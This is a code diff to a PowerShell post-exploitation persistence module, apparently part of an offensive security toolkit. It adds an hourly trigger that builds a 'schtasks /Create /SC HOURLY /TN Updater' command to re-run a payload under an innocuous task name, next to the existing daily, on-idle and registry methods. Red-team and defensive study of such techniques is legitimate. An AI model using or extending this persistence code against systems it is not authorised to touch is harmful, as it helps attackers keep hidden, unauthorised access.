@@ -229,6 +229,10 @@ function New-UserPersistenceOption
229
229
230
230
Starts the payload daily.
231
231
232
+ . PARAMETER Hourly
233
+
234
+ Starts the payload hourly.
235
+
232
236
. PARAMETER At
233
237
234
238
Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
@@ -248,6 +252,7 @@ function New-UserPersistenceOption
248
252
249
253
[CmdletBinding ()] Param (
250
254
[Parameter ( ParameterSetName = ' ScheduledTaskDaily' , Mandatory = $True )]
255
+ [Parameter ( ParameterSetName = ' ScheduledTaskHourly' , Mandatory = $True )]
251
256
[Parameter ( ParameterSetName = ' ScheduledTaskOnIdle' , Mandatory = $True )]
252
257
[Switch ]
253
258
$ScheduledTask ,
@@ -260,6 +265,10 @@ function New-UserPersistenceOption
260
265
[Switch ]
261
266
$Daily ,
262
267
268
+ [Parameter ( ParameterSetName = ' ScheduledTaskHourly' , Mandatory = $True )]
269
+ [Switch ]
270
+ $Hourly ,
271
+
263
272
[Parameter ( ParameterSetName = ' ScheduledTaskDaily' , Mandatory = $True )]
264
273
[DateTime ]
265
274
$At ,
@@ -300,6 +309,12 @@ function New-UserPersistenceOption
300
309
$PersistenceOptionsTable [' Time' ] = $At
301
310
}
302
311
312
+ ' ScheduledTaskHourly'
313
+ {
314
+ $PersistenceOptionsTable [' Method' ] = ' ScheduledTask'
315
+ $PersistenceOptionsTable [' Trigger' ] = ' Hourly'
316
+ }
317
+
303
318
' Registry'
304
319
{
305
320
$PersistenceOptionsTable [' Method' ] = ' Registry'
@@ -637,6 +652,11 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj
637
652
$UserTrigger = " schtasks /Create /SC DAILY /ST $ ( $UserPersistenceOption.Time.ToString (' HH:mm:ss' )) /TN Updater /TR "
638
653
}
639
654
655
+ ' Hourly'
656
+ {
657
+ $UserTrigger = " schtasks /Create /SC HOURLY /TN Updater /TR "
658
+ }
659
+
640
660
' OnIdle'
641
661
{
642
662
$UserTrigger = " schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR "
0 commit comments